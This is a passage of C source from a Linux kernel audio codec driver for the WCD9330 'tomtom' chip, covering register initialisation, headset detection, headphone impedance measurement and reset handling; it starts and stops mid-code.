{TOMTOM_A_CDC_CLIP_ADJ_SPKR2_MIN_CLIP_THRESHOLD, 0xFF, 0x00},
{TOMTOM_A_CDC_CLIP_ADJ_SPKR_BOOST_GATING, 0x01, 0x01},
{TOMTOM_A_CDC_CLIP_ADJ_SPKR2_BOOST_GATING, 0x01, 0x01},
{TOMTOM_A_CDC_CLIP_ADJ_SPKR_B1_CTL, 0x01, 0x00},
{TOMTOM_A_CDC_CLIP_ADJ_SPKR2_B1_CTL, 0x01, 0x00},
};
static void tomtom_codec_init_reg(struct snd_soc_codec *codec)
{
u32 i;
struct wcd9xxx *tomtom_core = dev_get_drvdata(codec->dev->parent);
for (i = 0; i < ARRAY_SIZE(tomtom_codec_reg_init_val); i++)
snd_soc_update_bits(codec, tomtom_codec_reg_init_val[i].reg,
tomtom_codec_reg_init_val[i].mask,
tomtom_codec_reg_init_val[i].val);
if (!TOMTOM_IS_1_0(tomtom_core->version)) {
for (i = 0; i < ARRAY_SIZE(tomtom_codec_2_0_reg_init_val); i++)
snd_soc_update_bits(codec,
tomtom_codec_2_0_reg_init_val[i].reg,
tomtom_codec_2_0_reg_init_val[i].mask,
tomtom_codec_2_0_reg_init_val[i].val);
}
}
static void tomtom_slim_interface_init_reg(struct snd_soc_codec *codec)
{
int i;
for (i = 0; i < WCD9XXX_SLIM_NUM_PORT_REG; i++)
wcd9xxx_interface_reg_write(codec->control_data,
TOMTOM_SLIM_PGD_PORT_INT_EN0 + i,
0xFF);
}
static int tomtom_setup_irqs(struct tomtom_priv *tomtom)
{
int ret = 0;
struct snd_soc_codec *codec = tomtom->codec;
struct wcd9xxx *wcd9xxx = codec->control_data;
struct wcd9xxx_core_resource *core_res =
&wcd9xxx->core_res;
ret = wcd9xxx_request_irq(core_res, WCD9XXX_IRQ_SLIMBUS,
tomtom_slimbus_irq, "SLIMBUS Slave", tomtom);
if (ret)
pr_err("%s: Failed to request irq %d\n", __func__,
WCD9XXX_IRQ_SLIMBUS);
else
tomtom_slim_interface_init_reg(codec);
return ret;
}
static void tomtom_cleanup_irqs(struct tomtom_priv *tomtom)
{
struct snd_soc_codec *codec = tomtom->codec;
struct wcd9xxx *wcd9xxx = codec->control_data;
struct wcd9xxx_core_resource *core_res =
&wcd9xxx->core_res;
wcd9xxx_free_irq(core_res, WCD9XXX_IRQ_SLIMBUS, tomtom);
}
static
struct firmware_cal *tomtom_get_hwdep_fw_cal(struct snd_soc_codec *codec,
enum wcd_cal_type type)
{
struct tomtom_priv *tomtom;
struct firmware_cal *hwdep_cal;
if (!codec) {
pr_err("%s: NULL codec pointer\n", __func__);
return NULL;
}
tomtom = snd_soc_codec_get_drvdata(codec);
hwdep_cal = wcdcal_get_fw_cal(tomtom->fw_data, type);
if (!hwdep_cal) {
dev_err(codec->dev, "%s: cal not sent by %d\n",
__func__, type);
return NULL;
} else {
return hwdep_cal;
}
}
int tomtom_hs_detect(struct snd_soc_codec *codec,
struct wcd9xxx_mbhc_config *mbhc_cfg)
{
int rc;
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
if (mbhc_cfg->insert_detect) {
rc = wcd9xxx_mbhc_start(&tomtom->mbhc, mbhc_cfg);
if (!rc)
tomtom->mbhc_started = true;
} else {
/* MBHC is disabled, so disable Auto pulldown */
snd_soc_update_bits(codec, TOMTOM_A_MBHC_INSERT_DETECT2, 0xC0,
0x00);
snd_soc_update_bits(codec, TOMTOM_A_MICB_CFILT_2_CTL, 0x01,
0x00);
tomtom->mbhc.mbhc_cfg = NULL;
tomtom->mbhc_started = false;
rc = 0;
}
wcd9xxx_clsh_post_init(&tomtom->clsh_d, tomtom->mbhc_started);
return rc;
}
EXPORT_SYMBOL(tomtom_hs_detect);
void tomtom_hs_detect_exit(struct snd_soc_codec *codec)
{
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
wcd9xxx_mbhc_stop(&tomtom->mbhc);
tomtom->mbhc_started = false;
}
EXPORT_SYMBOL(tomtom_hs_detect_exit);
void tomtom_event_register(
int (*machine_event_cb)(struct snd_soc_codec *codec,
enum wcd9xxx_codec_event),
struct snd_soc_codec *codec)
{
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
tomtom->machine_codec_event_cb = machine_event_cb;
}
EXPORT_SYMBOL(tomtom_event_register);
void tomtom_register_ext_clk_cb(
int (*codec_ext_clk_en)(struct snd_soc_codec *codec,
int enable, bool dapm),
int (*get_ext_clk_cnt) (void),
struct snd_soc_codec *codec)
{
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
tomtom->codec_ext_clk_en_cb = codec_ext_clk_en;
tomtom->codec_get_ext_clk_cnt = get_ext_clk_cnt;
}
EXPORT_SYMBOL(tomtom_register_ext_clk_cb);
static void tomtom_init_slim_slave_cfg(struct snd_soc_codec *codec)
{
struct tomtom_priv *priv = snd_soc_codec_get_drvdata(codec);
struct afe_param_cdc_slimbus_slave_cfg *cfg;
struct wcd9xxx *wcd9xxx = codec->control_data;
uint64_t eaddr = 0;
cfg = &priv->slimbus_slave_cfg;
cfg->minor_version = 1;
cfg->tx_slave_port_offset = 0;
cfg->rx_slave_port_offset = 16;
memcpy(&eaddr, &wcd9xxx->slim->e_addr, sizeof(wcd9xxx->slim->e_addr));
WARN_ON(sizeof(wcd9xxx->slim->e_addr) != 6);
cfg->device_enum_addr_lsw = eaddr & 0xFFFFFFFF;
cfg->device_enum_addr_msw = eaddr >> 32;
pr_debug("%s: slimbus logical address 0x%llx\n", __func__, eaddr);
}
static int tomtom_device_down(struct wcd9xxx *wcd9xxx)
{
int count;
struct snd_soc_codec *codec;
struct tomtom_priv *priv;
codec = (struct snd_soc_codec *)(wcd9xxx->ssr_priv);
priv = snd_soc_codec_get_drvdata(codec);
wcd_cpe_ssr_event(priv->cpe_core, WCD_CPE_BUS_DOWN_EVENT);
snd_soc_card_change_online_state(codec->card, 0);
set_bit(BUS_DOWN, &priv->status_mask);
for (count = 0; count < NUM_CODEC_DAIS; count++)
priv->dai[count].bus_down_in_recovery = true;
return 0;
}
static int wcd9xxx_prepare_static_pa(struct wcd9xxx_mbhc *mbhc,
struct list_head *lh)
{
int i;
struct snd_soc_codec *codec = mbhc->codec;
u32 delay;
const struct wcd9xxx_reg_mask_val reg_set_paon[] = {
{TOMTOM_A_TX_COM_BIAS, 0xff, 0xF0},
{WCD9XXX_A_CDC_RX1_B6_CTL, 0xff, 0x81},
{WCD9XXX_A_CDC_CLK_RX_B1_CTL, 0x01, 0x01},
{WCD9XXX_A_BUCK_MODE_2, 0xff, 0xEF},
{WCD9XXX_A_BUCK_MODE_2, 0xff, 0xEE},
{TOMTOM_A_NCP_DTEST, 0xff, 0x20},
{WCD9XXX_A_CDC_CLK_OTHR_CTL, 0xff, 0x21},
{WCD9XXX_A_CDC_RX2_B6_CTL, 0xff, 0x81},
{WCD9XXX_A_CDC_CLK_RX_B1_CTL, 0x02, 0x02},
{WCD9XXX_A_BUCK_MODE_2, 0xff, 0xAE},
{WCD9XXX_A_BUCK_MODE_2, 0xff, 0xAA},
{WCD9XXX_A_NCP_CLK, 0xff, 0x9C},
{WCD9XXX_A_NCP_CLK, 0xff, 0xFC},
{WCD9XXX_A_RX_COM_BIAS, 0xff, 0xA0},
{WCD9XXX_A_BUCK_MODE_3, 0xff, 0xC6},
{WCD9XXX_A_BUCK_MODE_4, 0xff, 0xE6},
{WCD9XXX_A_BUCK_MODE_5, 0xff, 0x02},
{WCD9XXX_A_BUCK_MODE_1, 0xff, 0xA1},
/* Add a delay of 1ms after this reg write */
{WCD9XXX_A_NCP_STATIC, 0xff, 0x28},
{WCD9XXX_A_NCP_EN, 0xff, 0xFF},
/* Add a delay of 1ms after this reg write */
/* set HPHL */
{WCD9XXX_A_RX_HPH_L_TEST, 0xff, 0x00},
{TOMTOM_A_RX_HPH_L_PA_CTL, 0xff, 0x42},
{TOMTOM_A_RX_HPH_BIAS_LDO, 0xff, 0x8C},
{TOMTOM_A_RX_HPH_CHOP_CTL, 0xff, 0xA4},
{WCD9XXX_A_RX_HPH_L_GAIN, 0xff, 0xE0},
{WCD9XXX_A_RX_HPH_L_GAIN, 0xff, 0xEC},
/* set HPHR */
{WCD9XXX_A_RX_HPH_R_TEST, 0xff, 0x00},
{TOMTOM_A_RX_HPH_R_PA_CTL, 0xff, 0x42},
{WCD9XXX_A_RX_HPH_R_GAIN, 0xff, 0x20},
{WCD9XXX_A_RX_HPH_R_GAIN, 0xff, 0x2C},
/* set HPH PAs */
{WCD9XXX_A_RX_HPH_BIAS_WG_OCP, 0xff, 0x2A},
{WCD9XXX_A_RX_HPH_CNP_WG_CTL, 0xff, 0xDA},
{WCD9XXX_A_RX_HPH_CNP_WG_TIME, 0xff, 0x15},
{WCD9XXX_A_CDC_CLSH_B1_CTL, 0xff, 0xE6},
{WCD9XXX_A_RX_HPH_L_DAC_CTL, 0xff, 0x40},
{WCD9XXX_A_RX_HPH_L_DAC_CTL, 0xff, 0xC0},
{WCD9XXX_A_RX_HPH_R_DAC_CTL, 0xff, 0x40},
{WCD9XXX_A_RX_HPH_R_DAC_CTL, 0xff, 0xC0},
{TOMTOM_A_RX_HPH_L_ATEST, 0xff, 0x00},
{TOMTOM_A_RX_HPH_R_ATEST, 0xff, 0x00},
};
for (i = 0; i < ARRAY_SIZE(reg_set_paon); i++) {
/*
* Some of the codec registers like BUCK_MODE_1
* and NCP_EN requires 1ms wait time for them
* to take effect. Other register writes for
* PA configuration do not require any wait time.
*/
if (reg_set_paon[i].reg == WCD9XXX_A_BUCK_MODE_1 ||
reg_set_paon[i].reg == WCD9XXX_A_NCP_EN)
delay = 1000;
else
delay = 0;
wcd9xxx_soc_update_bits_push(codec, lh,
reg_set_paon[i].reg,
reg_set_paon[i].mask,
reg_set_paon[i].val, delay);
}
pr_debug("%s: PAs are prepared\n", __func__);
return 0;
}
static int wcd9xxx_enable_static_pa(struct wcd9xxx_mbhc *mbhc, bool enable,
u8 hph_pa)
{
struct snd_soc_codec *codec = mbhc->codec;
const int wg_time = snd_soc_read(codec, WCD9XXX_A_RX_HPH_CNP_WG_TIME) *
TOMTOM_WG_TIME_FACTOR_US;
u8 mask = (hph_pa << 4);
u8 pa_en = enable ? mask : ~mask;
snd_soc_update_bits(codec, WCD9XXX_A_RX_HPH_CNP_EN, mask, pa_en);
/* Wait for wave gen time to avoid pop noise */
usleep_range(wg_time, wg_time + WCD9XXX_USLEEP_RANGE_MARGIN_US);
pr_debug("%s: PAs are %s as static mode (wg_time %d)\n", __func__,
enable ? "enabled" : "disabled", wg_time);
return 0;
}
static int tomtom_setup_zdet(struct wcd9xxx_mbhc *mbhc,
enum mbhc_impedance_detect_stages stage)
{
int ret = 0;
struct snd_soc_codec *codec = mbhc->codec;
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
#define __wr(reg, mask, value) \
do { \
ret = wcd9xxx_soc_update_bits_push(codec, \
&tomtom->reg_save_restore, \
reg, mask, value, 0); \
if (ret < 0) \
return ret; \
} while (0)
switch (stage) {
case MBHC_ZDET_PRE_MEASURE:
INIT_LIST_HEAD(&tomtom->reg_save_restore);
wcd9xxx_prepare_static_pa(mbhc, &tomtom->reg_save_restore);
/* Set HPH_MBHC for zdet */
__wr(WCD9XXX_A_MBHC_HPH, 0xff, 0xC4);
usleep_range(10, 10 + WCD9XXX_USLEEP_RANGE_MARGIN_US);
wcd9xxx_enable_static_pa(mbhc, HPH_PA_ENABLE, HPH_PA_L_R);
/* save old value of registers and write the new value */
__wr(WCD9XXX_A_RX_HPH_OCP_CTL, 0xff, 0x69);
__wr(WCD9XXX_A_CDC_RX1_B6_CTL, 0xff, 0x80);
__wr(WCD9XXX_A_CDC_RX2_B6_CTL, 0xff, 0x80);
/* Enable MBHC MUX, Set MUX current to 37.5uA and ADC7 */
__wr(WCD9XXX_A_MBHC_SCALING_MUX_1, 0xff, 0xC0);
__wr(WCD9XXX_A_MBHC_SCALING_MUX_2, 0xff, 0xF0);
__wr(TOMTOM_A_TX_7_TXFE_CLKDIV, 0xff, 0x8B);
__wr(WCD9XXX_A_TX_7_MBHC_TEST_CTL, 0xff, 0x78);
__wr(WCD9XXX_A_TX_7_MBHC_EN, 0xff, 0x8C);
__wr(WCD9XXX_A_CDC_MBHC_B1_CTL, 0xff, 0xDC);
/* Reset MBHC and set it up for STA */
__wr(WCD9XXX_A_CDC_MBHC_CLK_CTL, 0xff, 0x0A);
snd_soc_write(codec, WCD9XXX_A_CDC_MBHC_EN_CTL, 0x00);
__wr(WCD9XXX_A_CDC_MBHC_CLK_CTL, 0xff, 0x02);
__wr(WCD9XXX_A_CDC_MBHC_TIMER_B5_CTL, 0xff, 0x80);
__wr(WCD9XXX_A_CDC_MBHC_TIMER_B4_CTL, 0xff, 0x25);
/* Wait for ~50us to let MBHC hardware settle down */
usleep_range(50, 50 + WCD9XXX_USLEEP_RANGE_MARGIN_US);
break;
case MBHC_ZDET_POST_MEASURE:
/* 0x69 for 105 number of samples for PA RAMP */
snd_soc_write(codec, WCD9XXX_A_CDC_PA_RAMP_B4_CTL, 0x69);
/* Program the PA Ramp to FS_16K, L shift 1 */
snd_soc_write(codec, WCD9XXX_A_CDC_PA_RAMP_B3_CTL,
0x1 << 4 | 0x6);
/* Reset the PA Ramp */
snd_soc_write(codec, WCD9XXX_A_CDC_PA_RAMP_B1_CTL, 0x1C);
/*
* Connect the PA Ramp to PA chain and release reset with
* keep it connected.
*/
snd_soc_write(codec, WCD9XXX_A_CDC_PA_RAMP_B1_CTL, 0x1F);
snd_soc_write(codec, WCD9XXX_A_CDC_PA_RAMP_B1_CTL, 0x03);
/* Start the PA ramp on HPH L and R */
snd_soc_write(codec, WCD9XXX_A_CDC_PA_RAMP_B2_CTL, 0x05);
/* Ramp generator takes ~30ms */
usleep_range(TOMTOM_HPH_PA_RAMP_DELAY,
TOMTOM_HPH_PA_RAMP_DELAY +
WCD9XXX_USLEEP_RANGE_MARGIN_US);
/*
* Set the multiplication factor for zdet calculation
* based on the Ramp voltage and Gain used
*/
tomtom->zdet_gain_mul_fact = TOMTOM_ZDET_MUL_FACTOR_1X;
break;
case MBHC_ZDET_GAIN_0:
/* Set Gain at 1x */
snd_soc_write(codec, TOMTOM_A_RX_HPH_L_ATEST, 0x00);
snd_soc_write(codec, TOMTOM_A_RX_HPH_R_ATEST, 0x00);
snd_soc_write(codec, TOMTOM_A_RX_HPH_L_PA_CTL, 0x42);
/* Allow 100us for gain registers to settle */
usleep_range(100,
100 + WCD9XXX_USLEEP_RANGE_MARGIN_US);
break;
case MBHC_ZDET_GAIN_UPDATE_1X:
/*
* Set the multiplication factor for zdet calculation
* based on the Gain value used
*/
tomtom->zdet_gain_mul_fact = TOMTOM_ZDET_MUL_FACTOR_1X;
break;
case MBHC_ZDET_GAIN_1:
/* Set Gain at 10x */
snd_soc_write(codec, TOMTOM_A_RX_HPH_L_ATEST, 0x10);
snd_soc_write(codec, TOMTOM_A_RX_HPH_R_ATEST, 0x00);
snd_soc_write(codec, TOMTOM_A_RX_HPH_L_PA_CTL, 0x42);
/* Allow 100us for gain registers to settle */
usleep_range(100,
100 + WCD9XXX_USLEEP_RANGE_MARGIN_US);
/*
* Set the multiplication factor for zdet calculation
* based on the Gain value used
*/
tomtom->zdet_gain_mul_fact = TOMTOM_ZDET_MUL_FACTOR_10X;
break;
case MBHC_ZDET_GAIN_2:
/* Set Gain at 100x */
snd_soc_write(codec, TOMTOM_A_RX_HPH_L_ATEST, 0x00);
snd_soc_write(codec, TOMTOM_A_RX_HPH_R_ATEST, 0x10);
snd_soc_write(codec, TOMTOM_A_RX_HPH_L_PA_CTL, 0x43);
/* Allow 100us for gain registers to settle */
usleep_range(100,
100 + WCD9XXX_USLEEP_RANGE_MARGIN_US);
/*
* Set the multiplication factor for zdet calculation
* based on the Gain value used
*/
tomtom->zdet_gain_mul_fact = TOMTOM_ZDET_MUL_FACTOR_100X;
break;
case MBHC_ZDET_RAMP_DISABLE:
/* Ramp HPH L & R back to Zero */
snd_soc_write(codec, WCD9XXX_A_CDC_PA_RAMP_B2_CTL, 0x00);
/* 0x69 for 105 number of samples for PA RAMP */
snd_soc_write(codec, WCD9XXX_A_CDC_PA_RAMP_B4_CTL, 0x69);
/* Program the PA Ramp to FS_16K, L shift 1 */
snd_soc_write(codec, WCD9XXX_A_CDC_PA_RAMP_B3_CTL,
0x1 << 4 | 0x6);
/* Reset the PA Ramp */
snd_soc_write(codec, WCD9XXX_A_CDC_PA_RAMP_B1_CTL, 0x17);
/*
* Connect the PA Ramp to PA chain and release reset with
* keep it connected.
*/
snd_soc_write(codec, WCD9XXX_A_CDC_PA_RAMP_B1_CTL, 0x03);
/* Start the PA ramp on HPH L and R */
snd_soc_write(codec, WCD9XXX_A_CDC_PA_RAMP_B2_CTL, 0x0A);
/* Ramp generator takes ~30ms to settle down */
usleep_range(TOMTOM_HPH_PA_RAMP_DELAY,
TOMTOM_HPH_PA_RAMP_DELAY +
WCD9XXX_USLEEP_RANGE_MARGIN_US);
break;
case MBHC_ZDET_HPHR_RAMP_DISABLE:
/* Ramp HPHR back to Zero */
snd_soc_write(codec, WCD9XXX_A_CDC_PA_RAMP_B2_CTL, 0x00);
snd_soc_write(codec, WCD9XXX_A_CDC_PA_RAMP_B4_CTL, 0x69);
snd_soc_write(codec, WCD9XXX_A_CDC_PA_RAMP_B3_CTL,
0x1 << 4 | 0x6);
/* Reset the PA Ramp */
snd_soc_write(codec, WCD9XXX_A_CDC_PA_RAMP_B1_CTL, 0x17);
/*
* Connect the PA Ramp to PA chain and release reset with
* keep it connected.
*/
snd_soc_write(codec, WCD9XXX_A_CDC_PA_RAMP_B1_CTL, 0x03);
snd_soc_write(codec, WCD9XXX_A_CDC_PA_RAMP_B2_CTL, 0x08);
/* Ramp generator takes ~30ms to settle down */
usleep_range(TOMTOM_HPH_PA_RAMP_DELAY,
TOMTOM_HPH_PA_RAMP_DELAY +
WCD9XXX_USLEEP_RANGE_MARGIN_US);
break;
case MBHC_ZDET_HPHL_RAMP_DISABLE:
/* Ramp back to Zero */
snd_soc_write(codec, WCD9XXX_A_CDC_PA_RAMP_B2_CTL, 0x00);
snd_soc_write(codec, WCD9XXX_A_CDC_PA_RAMP_B4_CTL, 0x69);
snd_soc_write(codec, WCD9XXX_A_CDC_PA_RAMP_B3_CTL,
0x1 << 4 | 0x6);
/* Reset the PA Ramp */
snd_soc_write(codec, WCD9XXX_A_CDC_PA_RAMP_B1_CTL, 0x17);
/*
* Connect the PA Ramp to PA chain and release reset with
* keep it connected.
*/
snd_soc_write(codec, WCD9XXX_A_CDC_PA_RAMP_B1_CTL, 0x03);
snd_soc_write(codec, WCD9XXX_A_CDC_PA_RAMP_B2_CTL, 0x02);
/* Ramp generator takes ~30ms to settle down */
usleep_range(TOMTOM_HPH_PA_RAMP_DELAY,
TOMTOM_HPH_PA_RAMP_DELAY +
WCD9XXX_USLEEP_RANGE_MARGIN_US);
break;
case MBHC_ZDET_HPHR_PA_DISABLE:
/* Disable PA */
wcd9xxx_enable_static_pa(mbhc, HPH_PA_DISABLE, HPH_PA_R);
break;
case MBHC_ZDET_PA_DISABLE:
/* Disable PA */
if (!mbhc->hph_pa_dac_state &&
(!(test_bit(MBHC_EVENT_PA_HPHL, &mbhc->event_state) ||
test_bit(MBHC_EVENT_PA_HPHR, &mbhc->event_state))))
wcd9xxx_enable_static_pa(mbhc, HPH_PA_DISABLE,
HPH_PA_L_R);
else if (!(snd_soc_read(codec, WCD9XXX_A_RX_HPH_CNP_EN) & 0x10))
wcd9xxx_enable_static_pa(mbhc, HPH_PA_ENABLE, HPH_PA_R);
/* Turn off PA ramp generator */
snd_soc_write(codec, WCD9XXX_A_CDC_PA_RAMP_B1_CTL, 0x00);
snd_soc_write(codec, WCD9XXX_A_CDC_PA_RAMP_B2_CTL, 0x00);
snd_soc_write(codec, WCD9XXX_A_CDC_PA_RAMP_B3_CTL, 0x00);
snd_soc_write(codec, WCD9XXX_A_CDC_PA_RAMP_B4_CTL, 0x00);
/* Restore registers */
wcd9xxx_restore_registers(codec, &tomtom->reg_save_restore);
break;
}
#undef __wr
return ret;
}
/* Calculate final impedance values for HPH left and right based on formulae */
static void tomtom_compute_impedance(struct wcd9xxx_mbhc *mbhc, s16 *l, s16 *r,
uint32_t *zl, uint32_t *zr)
{
s64 zln, zrn;
int zld, zrd;
s64 rl = 0, rr = 0;
struct snd_soc_codec *codec;
struct tomtom_priv *tomtom;
if (!mbhc) {
pr_err("%s: Invalid parameters mbhc = %pK\n",
__func__, mbhc);
return;
}
codec = mbhc->codec;
tomtom = snd_soc_codec_get_drvdata(codec);
if (l && zl) {
zln = (s64) (l[1] - l[0]) * tomtom->zdet_gain_mul_fact;
zld = (l[2] - l[0]);
if (zld)
rl = div_s64(zln, zld);
else
/* If L0 and L2 are same, Z has to be on Zone 3.
* Assign a default value so that atleast the value
* is read again with Ramp-up
*/
rl = TOMTOM_ZDET_ZONE_3_DEFAULT_VAL;
/* 32-bit LSBs are enough to hold Impedance values */
*zl = (u32) rl;
}
if (r && zr) {
zrn = (s64) (r[1] - r[0]) * tomtom->zdet_gain_mul_fact;
zrd = (r[2] - r[0]);
if (zrd)
rr = div_s64(zrn, zrd);
else
/* If R0 and R2 are same, Z has to be on Zone 3.
* Assign a default value so that atleast the value
* is read again with Ramp-up
*/
rr = TOMTOM_ZDET_ZONE_3_DEFAULT_VAL;
/* 32-bit LSBs are enough to hold Impedance values */
*zr = (u32) rr;
}
}
/*
* Calculate error approximation of impedance values for HPH left
* and HPH right based on QFuse values
*/
static void tomtom_zdet_error_approx(struct wcd9xxx_mbhc *mbhc, uint32_t *zl,
uint32_t *zr)
{
struct snd_soc_codec *codec;
struct tomtom_priv *tomtom;
s8 q1_t, q2_t;
s8 q1_m, q2_m;
s8 q1, q2;
u8 div_shift;
int rl_alpha = 0, rr_alpha = 0;
int rl_beta = 0, rr_beta = 0;
u64 rl = 0, rr = 0;
const int mult_factor = TOMTOM_ZDET_ERROR_APPROX_MUL_FACTOR;
const int shift = TOMTOM_ZDET_ERROR_APPROX_SHIFT;
if (!zl || !zr || !mbhc) {
pr_err("%s: Invalid parameters zl = %pK zr = %pK, mbhc = %pK\n",
__func__, zl, zr, mbhc);
return;
}
codec = mbhc->codec;
tomtom = snd_soc_codec_get_drvdata(codec);
if ((tomtom->zdet_gain_mul_fact == TOMTOM_ZDET_MUL_FACTOR_1X) ||
(tomtom->zdet_gain_mul_fact == TOMTOM_ZDET_MUL_FACTOR_10X)) {
q1_t = ((snd_soc_read(codec, TOMTOM_A_QFUSE_DATA_OUT0) &
0x3) << 0x5);
q1_t |= ((snd_soc_read(codec, TOMTOM_A_QFUSE_DATA_OUT1) &
0xF8) >> 0x3);
q2_t = ((snd_soc_read(codec, TOMTOM_A_QFUSE_DATA_OUT1) &
0x7) << 0x4);
q2_t |= ((snd_soc_read(codec, TOMTOM_A_QFUSE_DATA_OUT2) &
0xF0) >> 0x4);
/* Take out the numeric part of the Qfuse value */
q1_m = q1_t & 0x3F;
q2_m = q2_t & 0x3F;
/* Check the sign part of the Qfuse and adjust value */
q1 = (q1_t & 0x40) ? -q1_m : q1_m;
q2 = (q2_t & 0x40) ? -q2_m : q2_m;
div_shift = 1;
} else {
q1_t = ((snd_soc_read(codec, TOMTOM_A_QFUSE_DATA_OUT2) &
0xF) << 0x2);
q1_t |= ((snd_soc_read(codec, TOMTOM_A_QFUSE_DATA_OUT3) &
0xC0) >> 0x6);
q2_t = (snd_soc_read(codec, TOMTOM_A_QFUSE_DATA_OUT3) & 0x3F);
/* Take out the numeric part of the Qfuse value */
q1_m = q1_t & 0x1F;
q2_m = q2_t & 0x1F;
/* Check the sign part of the Qfuse and adjust value */
q1 = (q1_t & 0x20) ? -q1_m : q1_m;
q2 = (q2_t & 0x20) ? -q2_m : q2_m;
div_shift = 0;
}
dev_dbg(codec->dev, "%s: qfuse1 = %d, qfuse2 = %d\n",
__func__, q1, q2);
if (!q1 && !q2) {
dev_dbg(codec->dev, "%s: qfuse1 and qfuse2 are 0. Exiting\n",
__func__);
return;
}
/*
* Use multiplication and shift to avoid floating point math
* The Z value is calculated with the below formulae using
* the Qfuse value-
* zl = zl * [1 - {(Q1 / div) / 100}] (Include sign for Q1)
* zr = zr * [1 - {(Q2 / div) / 100}] (Include sign for Q2)
* We multiply by 65536 and shift 16 times to get the approx result
* div = 4 for 1x gain, div = 2 for 10x/100x gain
*/
/* Q1/4 */
rl_alpha = q1 >> div_shift;
rl_alpha = 100 - rl_alpha;
/* {rl_alpha/100} * 65536 */
rl_beta = rl_alpha * mult_factor;
rl = (u64) *zl * rl_beta;
/* rl/65536 */
rl = (u64) rl >> shift;
rr_alpha = q2 >> div_shift;
rr_alpha = 100 - rr_alpha;
rr_beta = rr_alpha * mult_factor;
rr = (u64) *zr * rr_beta;
rr = (u64) rr >> shift;
dev_dbg(codec->dev, "%s: rl = 0x%llx (%lld) \t rr = 0x%llx (%lld)\n",
__func__, rl, rl, rr, rr);
*zl = (u32) rl;
*zr = (u32) rr;
}
static enum wcd9xxx_cdc_type tomtom_get_cdc_type(void)
{
return WCD9XXX_CDC_TYPE_TOMTOM;
}
static bool tomtom_mbhc_ins_rem_status(struct snd_soc_codec *codec)
{
return !(snd_soc_read(codec, WCD9XXX_A_MBHC_INSERT_DET_STATUS) &
(1 << 4));
}
static void tomtom_mbhc_micb_pulldown_ctrl(struct wcd9xxx_mbhc *mbhc,
bool enable)
{
struct snd_soc_codec *codec = mbhc->codec;
if (!enable) {
/* Remove automatic pulldown on micbias */
snd_soc_update_bits(codec, mbhc->mbhc_bias_regs.cfilt_ctl,
0x01, 0x00);
} else {
/* Enable automatic pulldown on micbias */
snd_soc_update_bits(codec, mbhc->mbhc_bias_regs.cfilt_ctl,
0x01, 0x01);
}
}
static void tomtom_codec_hph_auto_pull_down(struct snd_soc_codec *codec,
bool enable)
{
struct wcd9xxx *tomtom_core = dev_get_drvdata(codec->dev->parent);
if (TOMTOM_IS_1_0(tomtom_core->version))
return;
dev_dbg(codec->dev, "%s: %s auto pull down\n", __func__,
enable ? "enable" : "disable");
if (enable) {
snd_soc_update_bits(codec, TOMTOM_A_RX_HPH_L_TEST, 0x08, 0x08);
snd_soc_update_bits(codec, TOMTOM_A_RX_HPH_R_TEST, 0x08, 0x08);
} else {
snd_soc_update_bits(codec, TOMTOM_A_RX_HPH_L_TEST, 0x08, 0x00);
snd_soc_update_bits(codec, TOMTOM_A_RX_HPH_R_TEST, 0x08, 0x00);
}
}
static int tomtom_codec_enable_ext_mb_source(struct snd_soc_codec *codec,
bool turn_on, bool use_dapm)
{
int ret = 0;
if (!use_dapm)
return ret;
if (turn_on)
ret = snd_soc_dapm_force_enable_pin(&codec->dapm,
"MICBIAS_REGULATOR");
else
ret = snd_soc_dapm_disable_pin(&codec->dapm,
"MICBIAS_REGULATOR");
snd_soc_dapm_sync(&codec->dapm);
if (ret)
dev_err(codec->dev, "%s: Failed to %s external micbias source\n",
__func__, turn_on ? "enable" : "disabled");
else
dev_dbg(codec->dev, "%s: %s external micbias source\n",
__func__, turn_on ? "Enabled" : "Disabled");
return ret;
}
static const struct wcd9xxx_mbhc_cb mbhc_cb = {
.get_cdc_type = tomtom_get_cdc_type,
.setup_zdet = tomtom_setup_zdet,
.compute_impedance = tomtom_compute_impedance,
.zdet_error_approx = tomtom_zdet_error_approx,
.insert_rem_status = tomtom_mbhc_ins_rem_status,
.micbias_pulldown_ctrl = tomtom_mbhc_micb_pulldown_ctrl,
.codec_rco_ctrl = tomtom_codec_internal_rco_ctrl,
.hph_auto_pulldown_ctrl = tomtom_codec_hph_auto_pull_down,
.get_hwdep_fw_cal = tomtom_get_hwdep_fw_cal,
.enable_mb_source = tomtom_codec_enable_ext_mb_source,
};
static const struct wcd9xxx_mbhc_intr cdc_intr_ids = {
.poll_plug_rem = WCD9XXX_IRQ_MBHC_REMOVAL,
.shortavg_complete = WCD9XXX_IRQ_MBHC_SHORT_TERM,
.potential_button_press = WCD9XXX_IRQ_MBHC_PRESS,
.button_release = WCD9XXX_IRQ_MBHC_RELEASE,
.dce_est_complete = WCD9XXX_IRQ_MBHC_POTENTIAL,
.insertion = WCD9XXX_IRQ_MBHC_INSERTION,
.hph_left_ocp = WCD9XXX_IRQ_HPH_PA_OCPL_FAULT,
.hph_right_ocp = WCD9XXX_IRQ_HPH_PA_OCPR_FAULT,
.hs_jack_switch = WCD9330_IRQ_MBHC_JACK_SWITCH,
};
static int tomtom_post_reset_cb(struct wcd9xxx *wcd9xxx)
{
int ret = 0;
struct snd_soc_codec *codec;
struct tomtom_priv *tomtom;
int rco_clk_rate;
codec = (struct snd_soc_codec *)(wcd9xxx->ssr_priv);
tomtom = snd_soc_codec_get_drvdata(codec);
/*
* Delay is needed for settling time
* for the register configuration
*/
msleep(50);
snd_soc_card_change_online_state(codec->card, 1);
clear_bit(BUS_DOWN, &tomtom->status_mask);
mutex_lock(&codec->mutex);
tomtom_update_reg_defaults(codec);
if (wcd9xxx->mclk_rate == TOMTOM_MCLK_CLK_12P288MHZ)
snd_soc_update_bits(codec, TOMTOM_A_CHIP_CTL, 0x06, 0x0);
else if (wcd9xxx->mclk_rate == TOMTOM_MCLK_CLK_9P6MHZ)
snd_soc_update_bits(codec, TOMTOM_A_CHIP_CTL, 0x06, 0x2);
tomtom_codec_init_reg(codec);
codec->cache_sync = true;
snd_soc_cache_sync(codec);
codec->cache_sync = false;
ret = tomtom_handle_pdata(tomtom);
if (IS_ERR_VALUE(ret))
pr_err("%s: bad pdata\n", __func__);
tomtom_init_slim_slave_cfg(codec);
tomtom_slim_interface_init_reg(codec);
